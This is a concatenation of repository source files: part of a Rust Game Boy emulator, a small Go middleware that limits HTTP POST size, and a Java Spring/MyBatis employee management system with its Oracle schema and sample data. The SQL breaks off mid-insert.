self.win_tile_area { 0x1 << 6 } else { 0 }; byte |= if self.win_en { 0x1 << 5 } else { 0 }; byte |= if self.bg_win_tile_area { 0x1 << 4 } else { 0 }; byte |= if self.bg_tile_area { 0x1 << 3 } else { 0 }; byte |= if self.obj_size { 0x1 << 2 } else { 0 }; byte |= if self.obj_en { 0x1 << 1 } else { 0 }; byte |= if self.bg_win_en { 0x1 } else { 0 }; byte } _ => panic!("Not a valid ppu memory area"), } } pub fn write_byte(&mut self, addr: u16, value: u8) { match addr { 0x8000..=0x9FFF => { self.vram[(self.cur_vram_bank as usize * 0x2000) | (addr as usize - 0x8000)] = value; } 0xFE00..=0xFE9F => self.oam[addr as usize - 0xFE00] = value, 0xFF40 => { self.lcd_en = value & (0x1 << 7) != 0; self.win_tile_area = value & (0x1 << 6) != 0; self.win_en = value & (0x1 << 5) != 0; self.bg_win_tile_area = value & (0x1 << 4) != 0; self.bg_tile_area = value & (0x1 << 3) != 0; self.obj_size = value & (0x1 << 2) != 0; self.obj_en = value & (0x1 << 1) != 0; self.bg_win_en = value & (0x1) != 0; } _ => panic!("Not a valid ppu memory area"), } } } <file_sep>/corroded_boy/src/register.rs #[derive(Copy, Clone)] pub struct RegisterFile { pub a: u8, //Accumulator pub f: u8, //Flags pub b: u8, pub c: u8, pub d: u8, pub e: u8, pub h: u8, pub l: u8, pub pc: u16, //Program Counter pub sp: u16, //Stack Pointer } pub enum Registers8b { A, F, B, C, D, E, H, L, } pub enum Registers16b { AF, BC, DE, HL, SP, } pub enum Flags { FZ = 0b1000000, FN = 0b0100000, FH = 0b0010000, FC = 0b0001000, //4 lsb are not used } impl RegisterFile { pub fn new() -> RegisterFile { RegisterFile { a: 0, f: 0, b: 0, c: 0, d: 0, e: 0, h: 0, l: 0, sp: 0xFFFE, pc: 0x0000, } } pub fn read_8b(&self, regaddr: &Registers8b) -> u8 { match regaddr { Registers8b::A => self.a, Registers8b::F => self.f, Registers8b::B => self.b, Registers8b::C => self.c, Registers8b::D => self.d, Registers8b::E => self.e, Registers8b::H => self.h, Registers8b::L => self.l, } } pub fn write_8b(&mut self, regaddr: &Registers8b, value: u8) { match regaddr { Registers8b::A => self.a = value, Registers8b::F => self.f = value, Registers8b::B => self.b = value, Registers8b::C => self.c = value, Registers8b::D => self.d = value, Registers8b::E => self.e = value, Registers8b::H => self.h = value, Registers8b::L => self.l = value, } } pub fn read_16b(&self, regaddr: Registers16b) -> u16 { match regaddr { Registers16b::AF => (self.a as u16) << 8 | self.f as u16, Registers16b::BC => (self.b as u16) << 8 | self.c as u16, Registers16b::DE => (self.d as u16) << 8 | self.e as u16, Registers16b::HL => (self.h as u16) << 8 | self.l as u16, Registers16b::SP => self.sp, } } pub fn write_16b(&mut self, regaddr: Registers16b, value: u16) { match regaddr { Registers16b::AF => { self.a = (value >> 8) as u8; self.f = (value & 0x00FF) as u8; } Registers16b::BC => { self.b = (value >> 8) as u8; self.c = (value & 0x00FF) as u8; } Registers16b::DE => { self.d = (value >> 8) as u8; self.e = (value & 0x00FF) as u8; } Registers16b::HL => { self.h = (value >> 8) as u8; self.l = (value & 0x00FF) as u8; } Registers16b::SP => { self.sp = value; } } } pub fn set_flag(&mut self, flag: Flags, set: bool) { if set { self.f = self.f | flag as u8; } else { self.f = self.f & !(flag as u8); } } pub fn set_flags(&mut self, f1: bool, f2: bool, f3: bool, f4: bool) { self.set_flag(Flags::FZ, f1); self.set_flag(Flags::FN, f1); self.set_flag(Flags::FH, f1); self.set_flag(Flags::FC, f1); } pub fn get_flag(&self, flag: Flags) -> bool { self.f & (flag as u8) != 0 } pub fn hl_inc(&mut self) -> u16 { let val = self.read_16b(Registers16b::HL); self.write_16b(Registers16b::HL, val.wrapping_add(1)); val } pub fn hl_dec(&mut self) -> u16 { let val = self.read_16b(Registers16b::HL); self.write_16b(Registers16b::HL, val.wrapping_sub(1)); val } }
b28132049c1ec951e52c54c9894799e57aa2ef7a
[ "Rust" ]
5
Rust
Simon-Hostettler/Corroded-Boy
bcb0565658f29b243337180ecc40bf5594f610a7
553b811b7e9278ba3959d6c41f139ad1070f96b1
refs/heads/master
<repo_name>moisespsena-go/http-post-limit<file_sep>/post_limit.go package post_limit import ( "context" "errors" "net/http" ) var ( DefaultMaxPostSize int64 = 1024 * 1024 * 10 // 10Mb DefaultPostLimitFailedHandler = PostLimitFailedHandler(func(w http.ResponseWriter, r *http.Request) { http.Error(w, "max post size exceeded", http.StatusBadRequest) }) ) const ( PostSizeKey contextKey = "post-size" ) type ( contextKey string FormParser func(r *http.Request) (err error) PostLimitFailedHandler = http.HandlerFunc Middleware struct { http.Handler *Opts } Opts struct { MaxPostSize int64 ErrorHandler http.HandlerFunc } ) func New(handler http.Handler, opt ...*Opts) *Middleware { var opts *Opts for _, opts = range opt { } if opts == nil { opts = &Opts{} } if opts.MaxPostSize == 0 { opts.MaxPostSize = DefaultMaxPostSize } if opts.ErrorHandler == nil { opts.ErrorHandler = DefaultPostLimitFailedHandler } return &Middleware{ handler, opts, } } func ParseForm(r *http.Request) (err error) { var maxPostSize = MaxPostSizeOf(r) switch r.Header.Get("Content-Type") { case "application/x-www-form-urlencoded": err = r.ParseForm() case "multipart/form-data": err = r.ParseMultipartForm(maxPostSize) default: err = errors.New("bad content-type") } return nil } func (m *Middleware) ServeHttp(w http.ResponseWriter, r *http.Request) { switch r.Method { case http.MethodPost, http.MethodPut: if r.ContentLength > m.MaxPostSize { m.ErrorHandler(w, r) return } } r = r.WithContext(context.WithValue(r.Context(), PostSizeKey, m.MaxPostSize)) m.Handler.ServeHTTP(w, r) } func MaxPostSizeOf(r *http.Request) int64 { var maxPostSize = DefaultMaxPostSize if v := r.Context().Value(PostSizeKey); v != nil { if vi := v.(int64); vi > 0 { maxPostSize = vi } } return maxPostSize } <file_sep>/README.md # http-post-limit HTTP Post Limit Middleware # Usage ```go package main import ( "net/http" post_limit "github.com/moisespsena-go/http-post-limit" ) func main() { mux := http.NewServeMux() mux.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) { w.Write([]byte("ok")) }) http.ListenAndServe(":8000", post_limit.New(mux)) // or md := post_limit.New( mux, &post_limit.Opts{ MaxPostSize: 1024, ErrorHandler: func(w http.ResponseWriter, r *http.Request) { http.Error(w, "max post size exceeded", http.StatusBadRequest) }, }, ) http.ListenAndServe(":8000", md) } ```<file_sep>/go.mod module github.com/moisespsena-go/http-post-limit go 1.15
65533aff9774f7061992b7176d272a5943c04cba
[ "Markdown", "Go Module", "Go" ]
3
Go
moisespsena-go/http-post-limit
92a11c0619985b4ff9d4b69725ada8f6875bfab6
faad29ef99ab79a8a22adcb209451f3de2a634be
refs/heads/master
<file_sep>#pragma once #include <iostream> #include <Windows.h> #ifndef IMAGEHANDLING #define IMAGEHANDLING void CreateMaliciousImage(const WCHAR* inputImage, std::string outputImage); #endif //IMAGEHANDLING <file_sep>#include "BasicHandling.h" #include <Windows.h> #include <gdiplus.h> #include <stdio.h> #include <iostream> using namespace Gdiplus; #pragma comment (lib,"gdiplus.lib") void SaveToFileX(std::string file, Bitmap* bmp) //Save bitmap to file { UINT num; UINT size; ImageCodecInfo* imagecodecinfo; GetImageEncodersSize(&num, &size); //get count of codec imagecodecinfo = (ImageCodecInfo*)(malloc(size)); GetImageEncoders(num, size, imagecodecinfo);//get codec CLSID clsidEncoder; for (int i = 0; i < num; i++) { if (wcscmp(imagecodecinfo[i].MimeType, L"image/png") == 0) clsidEncoder = imagecodecinfo[i].Clsid;//get png codec id } free(imagecodecinfo); std::wstring ws; ws.assign(file.begin(), file.end());//sring to wstring bmp->Save(ws.c_str(), &clsidEncoder); //save in png format } void CreateMaliciousImage(const WCHAR* inputImage, std::string outputImage) { ULONG_PTR gdiplustoken; GdiplusStartupInput gdistartupinput; GdiplusStartupOutput gdistartupoutput; gdistartupinput.SuppressBackgroundThread = true; GdiplusStartup(&gdiplustoken, &gdistartupinput, &gdistartupoutput); //start GDI+ Bitmap* bmp = Bitmap::FromFile(inputImage, true); SaveToFileX(outputImage, bmp); //SaveToFile(std::string PathOfOutputFile, Bitmap* bitmap) GdiplusShutdown(gdiplustoken); }<file_sep>// ImageChecker.cpp : This file contains the 'main' function. Program execution begins and ends there. // #include <iostream> #include "LSB.h" #include "BasicHandling.h" #include <Windows.h> int main(int argc, char *argv[]) { /*Parameter Note if 2 parameter, extract text from image if 4 parameters, Embed text to image (compressed) */ switch (argc) { //case 3: //{ // puts("Creating clone image for embed string...."); // //convert char to wchar // const WCHAR* pwcsName; // int nChars = MultiByteToWideChar(CP_ACP, 0, argv[1], -1, NULL, 0); // pwcsName = new WCHAR[nChars]; // MultiByteToWideChar(CP_ACP, 0, argv[1], -1, (LPWSTR)pwcsName, nChars); // CreateMaliciousImage(pwcsName, argv[2]); // puts("Working done!"); // break; //} case 4: { //cmd : hasagiiiiii!!!! D:\\Another\\CacKTGT\\btl\\test\\abcd.png D:\\Another\\CacKTGT\\btl\\test\\encoded_abcd.png puts("Embeding string into image...."); //convert char to wchar const WCHAR* pwcsName; int nChars = MultiByteToWideChar(CP_ACP, 0, argv[2], -1, NULL, 0); pwcsName = new WCHAR[nChars]; MultiByteToWideChar(CP_ACP, 0, argv[2], -1, (LPWSTR)pwcsName, nChars); //clone image CreateMaliciousImage(pwcsName, argv[2]); //Embed string std::string text = argv[1]; std::string outputImage = argv[3]; if (!LSB_encode(text, pwcsName, outputImage)) { puts("Please check your input again"); } else puts("Embed string successfully!"); break; } case 2: { //cmd: D:\\Another\\CacKTGT\\btl\\test\\encoded_abcd.png puts("Extracting hidden text...."); const WCHAR* pwcsName; int nChars = MultiByteToWideChar(CP_ACP, 0, argv[1], -1, NULL, 0); pwcsName = new WCHAR[nChars]; MultiByteToWideChar(CP_ACP, 0, argv[1], -1, (LPWSTR)pwcsName, nChars); std::string text; if ((text = LSB_decode(pwcsName)) == "") { puts("Fail! Check your input!"); } else { std::cout << "Hidden string is: " << text; } break; } default: puts("Out of purpose! Please give correct input!"); break; } } <file_sep>#pragma once #include <iostream> #include <tchar.h> #include <Windows.h> #ifndef IMAGELSB #define IMAGELSB bool LSB_encode(std::string text, const WCHAR *inputImage, std::string outputImage); std::string LSB_decode(const WCHAR *ImageFileName); #endif // IMAGELSB <file_sep>#include "LSB.h" #include <Windows.h> #include <gdiplus.h> #include <stdio.h> #include <iostream> using namespace Gdiplus; #pragma comment (lib,"gdiplus.lib") enum State { Hiding, Filling_With_Zeros }; Bitmap* embedText(std::string text, Bitmap* bmp) { State state = Hiding; // holds the index of the character that is being hidden int charIndex = 0; // holds the value of the character converted to integer int charValue = 0; // holds the index of the color element (R or G or B) that is currently being processed long pixelElementIndex = 0; // holds the number of trailing zeros that have been added when finishing the process int zeros = 0; // hold pixel elements int R = 0, G = 0, B = 0; // pass through the rows for (int i = 0; i < bmp->GetHeight(); i++) { // pass through each row for (int j = 0; j < bmp->GetWidth(); j++) { // holds the pixel that is currently being processed Color pixel; bmp->GetPixel(j, i, &pixel); // now, clear the least significant bit (LSB) from each pixel element R = pixel.GetR() - pixel.GetR() % 2; G = pixel.GetG() - pixel.GetG() % 2; B = pixel.GetB() - pixel.GetB() % 2; // for each pixel, pass through its elements (RGB) for (int n = 0; n < 3; n++) { // check if new 8 bits has been processed if (pixelElementIndex % 8 == 0) { // check if the whole process has finished // we can say that it's finished when 8 zeros are added if (state == Filling_With_Zeros && zeros == 8) { // apply the last pixel on the image // even if only a part of its elements have been affected if ((pixelElementIndex - 1) % 3 < 2) { bmp->SetPixel(j, i, Color(R, G, B)); } // return the bitmap with the text hidden in return bmp; } // check if all characters has been hidden if (charIndex >= text.length()) { // start adding zeros to mark the end of the text state = Filling_With_Zeros; } else { // move to the next character and process again charValue = text[charIndex++]; } } // check which pixel element has the turn to hide a bit in its LSB switch (pixelElementIndex % 3) { case 0: { if (state == Hiding) { // the rightmost bit in the character will be (charValue % 2) // to put this value instead of the LSB of the pixel element // just add it to it // recall that the LSB of the pixel element had been cleared // before this operation R += charValue % 2; // removes the added rightmost bit of the character // such that next time we can reach the next one charValue /= 2; } } break; case 1: { if (state == Hiding) { G += charValue % 2; charValue /= 2; } } break; case 2: { if (state == Hiding) { B += charValue % 2; charValue /= 2; } bmp->SetPixel(j, i, Color(R, G, B)); } break; } pixelElementIndex++; if (state == Filling_With_Zeros) { // increment the value of zeros until it is 8 zeros++; } } } } return bmp; } void SaveToFile(std::string file, Bitmap* bmp) //Save bitmap to file { UINT num; UINT size; ImageCodecInfo* imagecodecinfo; GetImageEncodersSize(&num, &size); //get count of codec imagecodecinfo = (ImageCodecInfo*)(malloc(size)); GetImageEncoders(num, size, imagecodecinfo);//get codec CLSID clsidEncoder; for (int i = 0; i < num; i++) { if (wcscmp(imagecodecinfo[i].MimeType, L"image/png") == 0) clsidEncoder = imagecodecinfo[i].Clsid;//get jpeg codec id } free(imagecodecinfo); std::wstring ws; ws.assign(file.begin(), file.end());//sring to wstring bmp->Save(ws.c_str(), &clsidEncoder); //save in jpeg format } bool LSB_encode(std::string text, const WCHAR* inputImage, std::string outputImage) { if (wcslen(inputImage) == 0 || text.length() == 0 || outputImage.length() == 0) { return false; } ULONG_PTR gdiplustoken; GdiplusStartupInput gdistartupinput; GdiplusStartupOutput gdistartupoutput; gdistartupinput.SuppressBackgroundThread = true; GdiplusStartup(&gdiplustoken, &gdistartupinput, &gdistartupoutput); //start GDI+ Bitmap* bmp = Bitmap::FromFile(inputImage, true); //if (*bmp->GetWidth == 0 || *bmp->GetHeight == 0) return false; //std::string text = "BackDoor"; Bitmap* bmp2 = embedText(text, bmp); //save encoded bitmap to new bitmap for decoding test //std::cout << extractText(bmp2); SaveToFile(outputImage, bmp); //SaveToFile(std::string PathOfOutputFile, Bitmap* bitmap) GdiplusShutdown(gdiplustoken); return true; } int reverseBits(int n) { int result = 0; for (int i = 0; i < 8; i++) { result = result * 2 + n % 2; n /= 2; } return result; } std::string extractText(Bitmap* bmp) { int colorUnitIndex = 0; int charValue = 0; // holds the text that will be extracted from the image std::string extractedText = ""; // pass through the rows for (int i = 0; i < bmp->GetHeight(); i++) { // pass through each row for (int j = 0; j < bmp->GetWidth(); j++) { Color pixel; bmp->GetPixel(j, i, &pixel); // for each pixel, pass through its elements (RGB) for (int n = 0; n < 3; n++) { switch (colorUnitIndex % 3) { case 0: { // get the LSB from the pixel element (will be pixel.R % 2) // then add one bit to the right of the current character // this can be done by (charValue = charValue * 2) // replace the added bit (which value is by default 0) with // the LSB of the pixel element, simply by addition charValue = charValue * 2 + pixel.GetR() % 2; } break; case 1: { charValue = charValue * 2 + pixel.GetG() % 2; } break; case 2: { charValue = charValue * 2 + pixel.GetB() % 2; } break; } colorUnitIndex++; // if 8 bits has been added, then add the current character to the result text if (colorUnitIndex % 8 == 0) { // reverse? of course, since each time the process happens on the right (for simplicity) charValue = reverseBits(charValue); // can only be 0 if it is the stop character (the 8 zeros) if (charValue == 0) { return extractedText; } // convert the character value from int to char char c = (char)charValue; // add the current character to the result text extractedText += c; } } } } return extractedText; } std::string LSB_decode(const WCHAR* ImageFileName) { if (wcslen(ImageFileName) == 0) { return ""; } std::string plainText = ""; ULONG_PTR gdiplustoken; GdiplusStartupInput gdistartupinput; GdiplusStartupOutput gdistartupoutput; gdistartupinput.SuppressBackgroundThread = true; GdiplusStartup(&gdiplustoken, &gdistartupinput, &gdistartupoutput); //start GDI+ Bitmap* bmp = Bitmap::FromFile(ImageFileName, true); plainText = extractText(bmp); GdiplusShutdown(gdiplustoken); return plainText; }<file_sep># LSB-Stenography stenography with LSB algorithm # How to use ### *How to embed string into image* You have to use execute with 3 parameters. (string, image name, output image name) ### *How to extract string* Use execute with 1 parameter. (embed image)
16bea9aa37ade91d6fbd12f514953d1061bb5e54
[ "Markdown", "C++" ]
6
C++
huymath2/LSB-Stenography
71150974cf9f5c676bdf40a4e29a74b0fdef0422
1ce82dd4ebafac9b35a18aa27d15282a18cc230d
refs/heads/master
<repo_name>Wang-Shuaijie/Project_empsystem<file_sep>/src/com/wsj/empsystem/service/Impl/IPositionServiceImpl.java package com.wsj.empsystem.service.Impl; import java.util.HashMap; import java.util.List; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Service; import com.wsj.empsystem.bean.Department; import com.wsj.empsystem.bean.Position; import com.wsj.empsystem.dao.PositionMapper; import com.wsj.empsystem.service.IPositionService; @Service public class IPositionServiceImpl implements IPositionService{ @Autowired private PositionMapper positionMapper; @Override public List<Position> findPosByDept(Department department) { // TODO Auto-generated method stub List<Position> list=positionMapper.findPosByDept(department); return list; } @Override public Position findPosById(int id) { // TODO Auto-generated method stub Position position=positionMapper.findPosById(id); return position; } @Override public Position findPosByNameAndDept(HashMap<String, Object> map) { // TODO Auto-generated method stub Position position=positionMapper.findPosByNameAndDept(map); return position; } } <file_sep>/src/com/wsj/empsystem/dao/PositionMapper.java package com.wsj.empsystem.dao; import java.util.HashMap; import java.util.List; import com.wsj.empsystem.bean.Department; import com.wsj.empsystem.bean.Position; public interface PositionMapper { // 查找指定部门下的所有职位信息 List<Position> findPosByDept(Department department); // 根据id查找职位信息 Position findPosById(int id); // 根据部门和职位名查找职位信息 Position findPosByNameAndDept(HashMap<String, Object> map); } <file_sep>/src/com/wsj/empsystem/service/Impl/ITrainServiceImpl.java package com.wsj.empsystem.service.Impl; import java.util.HashMap; import java.util.List; import java.util.Map; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Service; import com.wsj.empsystem.bean.Train; import com.wsj.empsystem.dao.TrainMapper; import com.wsj.empsystem.exception.MyException; import com.wsj.empsystem.service.ITrainService; @Service public class ITrainServiceImpl implements ITrainService{ @Autowired private TrainMapper trainMapper; @Override public void deleteTrain(Integer id) { // TODO Auto-generated method stub trainMapper.deleteTrain(id); } @Override public void updateTrain(HashMap<String, Object> map) throws MyException { // TODO Auto-generated method stub trainMapper.updateTrain(map); } @Override public void insertTrain(HashMap<String, Object> map) throws MyException { // TODO Auto-generated method stub trainMapper.insertTrain(map); } @Override public Map<String, Object> findTrain(String name) { // TODO Auto-generated method stub HashMap<String, Object> map=new HashMap<>(); map.put("name", name); List<Train> list=trainMapper.queryTrain(map); map.put("trains",list); return map; } } <file_sep>/src/com/wsj/empsystem/bean/TrainType.java package com.wsj.empsystem.bean; /** * 培训细节类 * * @author WangShuaiJie * */ public class TrainType { // 培训细节id private int type_code; // 培训名称 private String type_name; // 培训内容 private String type_info; public TrainType() { } public int getType_code() { return type_code; } public void setType_code(int type_code) { this.type_code = type_code; } public String getType_name() { return type_name; } public void setType_name(String type_name) { this.type_name = type_name; } public String getType_info() { return type_info; } public void setType_info(String type_info) { this.type_info = type_info; } @Override public String toString() { return "TrainType{" + "type_code=" + type_code + ", type_name='" + type_name + '\'' + ", type_info='" + type_info + '\'' + '}'; } } <file_sep>/src/com/wsj/empsystem/service/IPositionService.java package com.wsj.empsystem.service; import java.util.HashMap; import java.util.List; import com.wsj.empsystem.bean.Department; import com.wsj.empsystem.bean.Position; public interface IPositionService { List<Position> findPosByDept(Department department) ; Position findPosById(int id) ; Position findPosByNameAndDept(HashMap<String, Object> map); } <file_sep>/src/com/wsj/empsystem/dao/AlterMapper.java package com.wsj.empsystem.dao; import java.util.HashMap; import java.util.List; import com.wsj.empsystem.bean.Alter; public interface AlterMapper { //根据模糊查询关键字查找出差信息 List<Alter> queryAlter(HashMap<String,Object> map); //统计出差数量 Integer sum(); //删除出差信息 void deleteAlter(Integer id); //更新出差信息 void updateAlter(HashMap<String,Object> map); //添加 void insertAlter(HashMap<String,Object> map); } <file_sep>/src/com/wsj/empsystem/bean/Department.java package com.wsj.empsystem.bean; /** * 员工部门类 * * @author WangShuaiJie * */ public class Department { // 部门id private Integer dept_id; // 部门名字 private String dept_name; public Department() { } public Integer getDept_id() { return dept_id; } public void setDept_id(Integer dept_id) { this.dept_id = dept_id; } public String getDept_name() { return dept_name; } public void setDept_name(String dept_name) { this.dept_name = dept_name; } @Override public String toString() { return "Department [dept_id=" + dept_id + ", dept_name=" + dept_name + "]"; } } <file_sep>/src/com/wsj/empsystem/bean/Agreement.java package com.wsj.empsystem.bean; import java.util.Date; /** * 员工合同类 * @author WangShuaiJie * */ public class Agreement { private int agreement_id;//合同id private int p_id;//员工id private Date agreement_btime;//合同生效时间 private String agreement_content;//合同具体内容 private Staff staff;//员工信息 public Agreement() { // TODO Auto-generated constructor stub } public int getAgreement_id() { return agreement_id; } public void setAgreement_id(int agreement_id) { this.agreement_id = agreement_id; } public int getP_id() { return p_id; } public void setP_id(int p_id) { this.p_id = p_id; } public Date getAgreement_btime() { return agreement_btime; } public void setAgreement_btime(Date agreement_btime) { this.agreement_btime = agreement_btime; } public String getAgreement_content() { return agreement_content; } public void setAgreement_content(String agreement_content) { this.agreement_content = agreement_content; } public Staff getStaff() { return staff; } public void setStaff(Staff staff) { this.staff = staff; } @Override public String toString() { return "Agreement [agreement_id=" + agreement_id + ", p_id=" + p_id + ", agreement_btime=" + agreement_btime + ", agreement_content=" + agreement_content + ", staff=" + staff + "]"; } } <file_sep>/src/com/wsj/empsystem/service/Impl/IAdminServiceImpl.java package com.wsj.empsystem.service.Impl; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Service; import com.wsj.empsystem.bean.Administrator; import com.wsj.empsystem.dao.AdmMapper; import com.wsj.empsystem.service.IAdminService; @Service public class IAdminServiceImpl implements IAdminService{ @Autowired private AdmMapper admMapper; @Override public boolean checkAdm(Administrator administrator) { // TODO Auto-generated method stub Administrator adm=admMapper.queryAdm(administrator); if(adm !=null && adm.getAdmPassword().equals(administrator.getAdmPassword())){ return true; } return false; } @Override public void insert(Administrator administrator) { // TODO Auto-generated method stub } @Override public boolean exist(Administrator administrator) { // TODO Auto-generated method stub Administrator adm = admMapper.queryAdm(administrator); if(adm != null){ return true; } return false; } @Override public void delete(Administrator administrator) { // TODO Auto-generated method stub } } <file_sep>/src/com/wsj/empsystem/bean/Position.java package com.wsj.empsystem.bean; /** * 职位类 * @author WangShuaiJie * */ public class Position { private int pos_id; private String pos_name;//职位名称 private Department department;//职位描述 public Position() { // TODO Auto-generated constructor stub } public int getPos_id() { return pos_id; } public void setPos_id(int pos_id) { this.pos_id = pos_id; } public String getPos_name() { return pos_name; } public void setPos_name(String pos_name) { this.pos_name = pos_name; } public Department getDepartment() { return department; } public void setDepartment(Department department) { this.department = department; } @Override public String toString() { return "Position [pos_id=" + pos_id + ", pos_name=" + pos_name + ", department=" + department + "]"; } } <file_sep>/src/config/oracle.sql drop table train; drop table traintype; drop table staffalter; drop table staffagreement; drop table staff; drop table position; drop table department; drop table admin; --------------------- --管理员表 --------------------- create table admin( admin_id number(20) primary key, admin_password varchar2(20) not null, admin_username varchar2(20) not null ); drop sequence adm_seq; create sequence adm_seq increment by 1 start with 5 ; insert into admin values ('1', '1234', '1234'); insert into admin values ('3', '123', '123'); --------------------- --部门表 --------------------- create table department( dept_id number(11) primary key, dept_name varchar2(20) not null ); insert into department values (1,'董事局'); insert into department values (2,'管理部'); insert into department values (3,'技术部'); insert into department values (4,'人事部'); insert into department values (5,'后勤部'); insert into department values (6,'财务部'); --------------------- --职位表 --------------------- create table position( pos_id number(11) primary key , pos_name varchar2(20) not null, dept_id number(11) references department(dept_id) on delete cascade ); insert into position values (1,'董事长',1); insert into position values (2,'董事',1); insert into position values (3,'CEO',1); insert into position values (4,'总监',2); insert into position values (5,'经理',2); insert into position values (6,'职员',2); insert into position values (7,'总监',3); insert into position values (8,'经理',3); insert into position values (9,'职员',3); insert into position values (10,'总监',4); insert into position values (11,'经理',4); insert into position values (12,'职员',4); insert into position values (13,'总监',5); insert into position values (14,'经理',5); insert into position values (15,'职员',5); insert into position values (16,'总监',6); insert into position values (17,'经理',6); insert into position values (18,'职员',6); ---------- --员工表 ---------- create table staff( p_id number(11) primary key, p_name varchar2(20), sex varchar2(5), degree varchar2(20), pos_id number(11) references position(pos_id) on delete cascade, state varchar2(20), dept_id number(11) references department(dept_id) on delete cascade, username varchar2(50), password varchar2(50) ); drop sequence staff_seq; create sequence staff_seq increment by 1 start with 11; insert into staff values ('1', '张一', '男', '博士', 1, '在职', '1', 'zhangyi', 'zhangyi'); insert into staff values ('2', '张二', '男', '博士', 2, '在职', '1', 'zhanger', 'zhanger'); insert into staff values ('3', '张三', '男', '研究生', 4, '在职', '2', 'zhangsan', 'zhangsan'); insert into staff values ('4', '张四', '男', '研究生', 4, '在职', '3', 'zhangsi', '1234'); insert into staff values ('5', '张五', '男', '研究生', 5, '在职', '4', 'zhangwu', '1234'); insert into staff values ('6', '张六', '男', '本科', 6, '在职', '5', 'zhangliu', '1234'); insert into staff values ('7', '张七', '男', '本科', 7, '在职', '4', 'zhangqi', '1234'); insert into staff values ('8', '张八', '男', '本科', 8, '在职', '6', 'zhangba', '1234'); insert into staff values ('9', '张九', '男', '专科', 9, '在职', '6', 'zhangjiu', '1234'); insert into staff values ('10', '张十', '男', '专科', 10, '在职', '5', 'zhangshi', '1234'); --------------------- --员工合同表 --------------------- create table staffagreement( p_id number(11) primary key references staff(p_id) on delete cascade, agreement_id number(11) not null, agreement_btime date not null, agreement_content varchar2(100) not null ); drop sequence agreement_seq; create sequence agreement_seq increment by 1 start with 11; insert into staffagreement values ('1', '1',to_date('2017-01-15','YYYY-MM-DD'), '1.docx'); insert into staffagreement values ('2', '2',to_date('2017-01-16','YYYY-MM-DD'), '2.docx'); insert into staffagreement values ('3', '3',to_date('2017-03-23','YYYY-MM-DD'), '3.docx'); insert into staffagreement values ('4', '4',to_date('2017-03-15','YYYY-MM-DD'), '4.docx'); insert into staffagreement values ('5', '5',to_date('2017-01-28','YYYY-MM-DD'), '5.docx'); insert into staffagreement values ('6', '6',to_date('2017-04-18','YYYY-MM-DD'), '6.docx'); insert into staffagreement values ('7', '7',to_date('2017-01-01','YYYY-MM-DD'), '7.docx'); insert into staffagreement values ('8', '8',to_date('2017-03-09','YYYY-MM-DD'), '8.docx'); insert into staffagreement values ('9', '9',to_date('2017-03-31','YYYY-MM-DD'), '9.docx'); insert into staffagreement values ('10', '10',to_date('2017-03-18','YYYY-MM-DD'), '10.docx'); --------------------- --员工出差表 --------------------- create table staffalter( alter_id number(11) primary key, p_id number(11) references staff(p_id) on delete cascade, alter_btime date, alter_etime date, alter_content varchar2(100) ); drop sequence staffalter_seq; create sequence staffalter_seq increment by 1 start with 11; insert into staffalter values ('1', '1',to_date('2017-01-08','YYYY-MM-DD'),to_date('2017-01-22','YYYY-MM-DD'), '一号测试'); insert into staffalter values ('2', '2',to_date('2017-01-08','YYYY-MM-DD'),to_date('2017-01-22','YYYY-MM-DD'), '二号测试'); insert into staffalter values ('3', '3',to_date('2017-01-08','YYYY-MM-DD'),to_date('2017-01-22','YYYY-MM-DD'), '三号测试'); insert into staffalter values ('4', '4',to_date('2017-01-08','YYYY-MM-DD'),to_date('2017-01-22','YYYY-MM-DD'), '测试'); insert into staffalter values ('5', '5',to_date('2017-01-08','YYYY-MM-DD'),to_date('2017-01-22','YYYY-MM-DD'), '测试'); insert into staffalter values ('6', '6',to_date('2017-03-01','YYYY-MM-DD'),to_date( '2017-03-21', 'YYYY-MM-DD'),'测试'); insert into staffalter values ('7', '7',to_date('2017-03-04','YYYY-MM-DD'),to_date( '2017-03-23', 'YYYY-MM-DD'),'测试'); insert into staffalter values ('8', '8',to_date('2017-03-03','YYYY-MM-DD'),to_date( '2017-03-25', 'YYYY-MM-DD'),'测试'); insert into staffalter values ('9', '9',to_date('2017-03-18','YYYY-MM-DD'),to_date( '2017-03-24','YYYY-MM-DD'), '测试'); insert into staffalter values ('10', '10',to_date('2017-03-09','YYYY-MM-DD'),to_date( '2017-03-25','YYYY-MM-DD'), '测试'); --------------------- --员工培训表 --------------------- create table train( train_id number(11) primary key, type_code number(20), train_btime date, train_etime date, train_expense varchar2(20), p_id number(11) references staff(p_id) on delete cascade ); drop sequence train_seq; create sequence train_seq increment by 1 start with 11; insert into train values ('1', '1',to_date('2017-01-18','YYYY-MM-DD'),to_date( '2017-01-24','YYYY-MM-DD'), '测试培训心得', '1'); insert into train values ('2', '2',to_date('2017-03-09','YYYY-MM-DD'),to_date('2017-03-30','YYYY-MM-DD'), '很棒', '3'); insert into train values ('3', '3',to_date('2017-03-01','YYYY-MM-DD'),to_date('2017-03-16','YYYY-MM-DD'), '很nice', '2'); insert into train values ('4', '4',to_date('2017-01-01','YYYY-MM-DD'),to_date('2017-01-17','YYYY-MM-DD'), 'hhh', '1'); insert into train values ('5', '4',to_date('2017-03-09','YYYY-MM-DD'),to_date('2017-03-24','YYYY-MM-DD'), '完美', '4'); insert into train values ('6', '5',to_date('2017-03-01','YYYY-MM-DD'),to_date('2017-03-31','YYYY-MM-DD'), '棒极了', '1'); insert into train values ('7', '7',to_date('2017-03-16','YYYY-MM-DD'),to_date('2017-03-23','YYYY-MM-DD'), '无敌', '2'); insert into train values ('8', '6',to_date('2017-03-15','YYYY-MM-DD'),to_date('2017-03-23','YYYY-MM-DD'), '新人加入', '3'); insert into train values ('9', '8',to_date('2017-03-09','YYYY-MM-DD'),to_date('2017-03-25','YYYY-MM-DD'), '培训开始', '4'); insert into train values ('10', '9',to_date('2017-03-16','YYYY-MM-DD'),to_date('2017-03-30','YYYY-MM-DD'), '努力学习', '3'); --------------------- --培训类型表 --------------------- create table traintype( type_name varchar2(50), type_code number(20) primary key, type_info varchar2(200) ); insert into traintype values ('IT培训', '1', 'IT专业技能培训'); insert into traintype values ('Office培训', '2', '训练office技能'); insert into traintype values ('团队建设培训', '3', '增强团队合作能力'); insert into traintype values ('礼仪培训', '4', '熟悉礼仪'); insert into traintype values ('入职培训', '5', '新人必须参加'); insert into traintype values ('业务培训', 